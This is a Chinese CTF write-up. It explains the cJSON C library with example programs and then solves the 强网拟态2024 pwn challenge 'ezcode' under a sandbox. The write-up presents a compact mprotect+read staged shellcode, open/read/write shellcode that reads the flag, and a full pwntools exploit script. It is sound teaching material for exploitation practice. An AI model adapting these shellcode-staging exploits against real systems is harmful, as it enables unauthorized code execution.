cJSON
前言
在打PWN题时偶尔会遇到有关JSON的pwn题,之前的强网拟态2024就遇到了,借此机会学习一下。
1. JSON
-
JSON的简介:
JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation)。但它并不是编程语言,而是一种可以在服务器和客户端之间传输的数据交换格式。
-
合法的JSON的对象:
{ "name" : "张三" }
对象内的格式是“key : value”,其中:
- KEY必须是string型的
-
VALUE可以是合法的JSON数据类型(如:字符串,数值,对象,数组等等)
合法JSON对象的示例:
{ "name" : "张三", "age" : 18, "sex" : "男" }
{ "class_name" : "计科一班", "student_num" : 2, "student_info" : [ { "name" : "张三", "age" : 18, "sex" : "男" }, { "name" : "李四", "age" : 19, "sex" : "男" } ] }
可以看见student_info是以数组的形式储存了两个对象。
2. cJSON
在做pwn题时,我们遇到的就是cJSON。
源码下载:https://www.aliyundrive.com/s/vms4mGLStGm
- cJSON是什么?
- cJSON是一个轻量级的C语言JSON解析库,它能够将JSON格式的数据解析为C语言中的对象或数组,同时也能够将C语言的数据结构转换为JSON格式的字符串。
- 它提供了一组函数和数据结构,使得在C语言中可以方便地处理JSON数据。
- cJSON的使用:
- 编译可执行文件:
-
$ gcc *.c -o main -lm
,会gcc当前目录下的所有.c文件,生成可执行文件 main - 将 cJSON.c 打包成静态库 / 动态库,然后在编译 main.c 的时候将其链接上就可以了
-
- 编译可执行文件:
cJSON结构体
typedef struct cJSON
{
struct cJSON *next, *prev;
struct cJSON *child;
int type;
char *valuestring;
int valueint;
double valuedouble;
char *string;
} cJSON;
- type:用于区分 JSON 类型
- 0 表示 false
- 1 表示 true
- 2 表示 null
- 3 表示 number
- 4 表示 string
- 5 表示 array
- 6 表示 object
- string :代表「键 / 值对」的键
- value*:代表「键 / 值对」的值,搭配 type 使用
- 只有当 type 值为 4 时,valuestring 字段才有效
- 只有当 type 值为 3 时,valueint 或 valuedouble 字段才有效
3. 反序列化JSON字符串
正如cjson的介绍一般,cjson库使用来接收并处理json发送的数据。
下面有相关函数,也是pwn题需要我们留意的函数:
函数 | 解释说明 | 返回值 |
---|---|---|
cJSON_Parse | 将 JSON 字符串反序列化为 cJSON 结构体 | cJSON * |
cJSON_GetObjectItem | 获取 JSON 对象中的指定项 | cJSON * |
cJSON_GetArrayItem | 获取 JSON 数组中的第 i 个 JSON 项 | cJSON * |
cJSON_GetArraySize | 获取 JSON 数组的大小(该数组中包含的 JSON 项个数) | int |
cJSON_Delete | 删除 cJSON 结构体 | void |
示例:
#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON.c"
int main()
{
char buf[0x100];
puts("Input data which type is JSON:");
read(0,buf,0x100);
cJSON *ptr = cJSON_Parse(buf);
printf("Creat_object:%s\n",cJSON_Print(ptr));
// {
// "name" : "meimeng",
// "age" : 18,
// "sex" : "man!"
// }
if(ptr)
{ puts("[s]print_object:");
//正常来说对象里有的有的
cJSON *pName = cJSON_GetObjectItem(ptr, "name");
if(pName == NULL){
puts("[e]Don`t find \"name\",error.");
exit(0);
}
printf("name [%s]\n", pName->valuestring);
cJSON *pAge = cJSON_GetObjectItem(ptr, "age");
if(pAge == NULL){
puts("[e]Don`t find \"age\",error.");
exit(0);
}
printf("age [%d]\n", pAge->valueint);
cJSON *pSex = cJSON_GetObjectItem(ptr, "sex");
if(pSex == NULL){
puts("[e]Don`t find \"sex\",error.");
exit(0);
}
printf("sex [%s]\n", pSex->valuestring);
//超出对象之外
cJSON *pNN = cJSON_GetObjectItem(ptr, "NN");
if(pNN == NULL){
puts("[e]Don`t find \"NN\",error.");
exit(0);
}
}
else
{
puts("[e]cJSON_Parse,error.");
}
}
这里我们用pwntools发送json数据包:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
import json
#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']
elf = './CCJSON'
add = "127.0.0.1"
port = 39169
break_point = "b *main"
choice = 0
if choice == 0 :
# p = process(elf)
# gdb.attach(p,break_point)
p = gdb.debug(elf,break_point)
else :
p = remote(add,port)
JSON_DATA = {
"name":"meimeng",
"age":18,
"sex":"man!"
}
p.sendline(json.dumps(JSON_DATA))
inter()
输出:
可以看见cJSON_Parse函数成功反序列化,然后cJSON_GetObjectItem输出对应的指定项,没有则返回NULL
4. 序列化cJSON结构体
函数 | 解释说明 | 返回值 |
---|---|---|
cJSON_CreateObject | 创建一个 object 类型的 JSON 项 | cJSON * |
cJSON_CreateArray | 创建一个 array 类型的 JSON 项 | cJSON * |
cJSON_CreateString | 创建一个值为 string 类型的 JSON 项 | cJSON * |
cJSON_CreateNumber | 创建一个值为 number 类型的 JSON 项 | cJSON * |
cJSON_AddItemToObject | 将 JSON 项添加到 object 中 | void |
cJSON_AddItemToArray | 将 JSON 项添加到 array 中 | void |
cJSON_AddNumberToObject | 创建一个值为 number 类型的 JSON 项并添加到 JSON 对象中 | void |
cJSON_AddStringToObject | 创建一个值为 string 类型的 JSON 项并添加到 JSON 对象中 | void |
cJSON_Print | 将 cJSON 结构体序列化为 JSON 字符串(有格式) | char * |
cJSON_PrintUnformatted | 将 cJSON 结构体序列化为 JSON 字符串(无格式) | char * |
cJSON_Delete | 删除 cJSON 结构体 | void |
示例:
cJSON * GetJsonData(char *name,int age,char * sex)
{
cJSON *root = cJSON_CreateObject();
cJSON_AddStringToObject(root,"name",name) ;
cJSON_AddNumberToObject(root, "age", age);
cJSON_AddStringToObject(root,"sex",sex);
return root;
}
用这个替换我们的输入,
#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON.c"
cJSON * GetJsonData(char *name,int age,char * sex)
{
cJSON *root = cJSON_CreateObject();
cJSON_AddStringToObject(root,"name",name) ;
cJSON_AddNumberToObject(root, "age", age);
cJSON_AddStringToObject(root,"sex",sex);
return root;
}
int main()
{
char buf[0x100];
cJSON *ptr = GetJsonData("meimeng",18,"man!");
printf("Creat_object:%s\n",cJSON_Print(ptr));
// {
// "name" : "meimeng",
// "age" : 18,
// "sex" : "man!"
// }
if(ptr)
{ puts("[s]print_object:");
cJSON *pName = cJSON_GetObjectItem(ptr, "name");
if(pName == NULL){
puts("[e]Don`t find \"name\",error.");
exit(0);
}
printf("name [%s]\n", pName->valuestring);
cJSON *pAge = cJSON_GetObjectItem(ptr, "age");
if(pAge == NULL){
puts("[e]Don`t find \"age\",error.");
exit(0);
}
printf("age [%d]\n", pAge->valueint);
cJSON *pSex = cJSON_GetObjectItem(ptr, "sex");
if(pSex == NULL){
puts("[e]Don`t find \"sex\",error.");
exit(0);
}
printf("sex [%s]\n", pSex->valuestring);
cJSON_Delete(root);
}
else
{
puts("[e]cJSON_Parse,error.");
}
}
然后输出为:
5. 打PWN题示例:
用ida打开可执行文件看看:
可以看见ida只是识别不了结构体,其他都正常识别。可以美化ida或者看类型识别输出的是哪部分内容。
typedef struct cJSON
{
struct cJSON *next, *prev;//0x0
struct cJSON *child;//0x10
int type;//0x18
char *valuestring;//0x20
int valueint;//0x28
double valuedouble;//0x30
char *string;//0x38
} cJSON;
例题:
强网拟态2024:《ezcode》
摘要:
- 保护全开
- 开启沙盒,只禁用了excve
- 输入带有shellocde项的数据json
- 以十六进制数的方式”%2hhx”读入shellcode到0x9998000地址处,这也解释了为何len会>>1
- jmp的地址只有可执行权限
已收集信息:
- 发送以十六进制数string类型的shellcode为项的json数据
- shellocde长度最大为0x16字节
- 执行shellcode的地址处只有可执行权限
思路:只有可执行权限且最多0x16字节的shellcode,根本打不了正常的orw,我们需要扩充shellcode的长度,则需要执行read(0,0x9998000+xx,len)执行这一步的前提是需要有可读权限,则需要调用mprotect去更改权限。总得来说,我们需要在0x16字节内完成mprotect+read的操作。
shellcode的设置
- 尽量使用寄存器的低位,如eax,ax,dl,ch
- mov dx,7占字节数较多,但寄存器与寄存器之间的mov较短
- 目标能省则省,最终凑出mprotect+read
寄存器:
shellcode:
payload =asm(
'''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
'''
弄完这一步后随后就发送正常的orw即可,最好恢复一下rsp,否则用push和pop操作的shellcraft会报错。
两次syscall:
exp:
from pwn import *
import json
# context(os='linux', arch='mips',endian="little", log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
context.terminal = ['byobu', 'sp', '-h']
# file_name
file_name = "./pwn3"
url = ""
port = 1111
fgets_b = 0x15B3
call_b = 0x18A6
b_string =""
b_slice = [
fgets_b,
call_b
]
for i in b_slice:
b_string += f"b *$rebase({i})\n"
# 以什么方式启动
# elf = ELF(file_name)
# p= process(file_name)
# gdb.attach(p,"b *0x9998000")
p = gdb.debug(file_name,b_string)
# p = remote("pwn-8ac388efdb.challenge.xctf.org.cn", 9999, ssl=True)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def send(content):
form = {
"shellcode":content.hex()
}
sl(json.dumps(form))
payload =asm(
'''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
'''
,arch='amd64')
temp = payload
send(payload)
shellcode = asm(
'''
mov rax, 2
mov rdi, 0x999800c
xor rsi, rsi
syscall
mov rax, 0
mov rdi, 3
mov rsi, 0x9998800
mov rdx, 0x30
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x9998800
mov rdx, 0x30
syscall
''',arch = 'amd64')
sl((b'./flag\x00\x00\x00\x00'+shellcode).ljust(0xff,b'\x90'))
ia()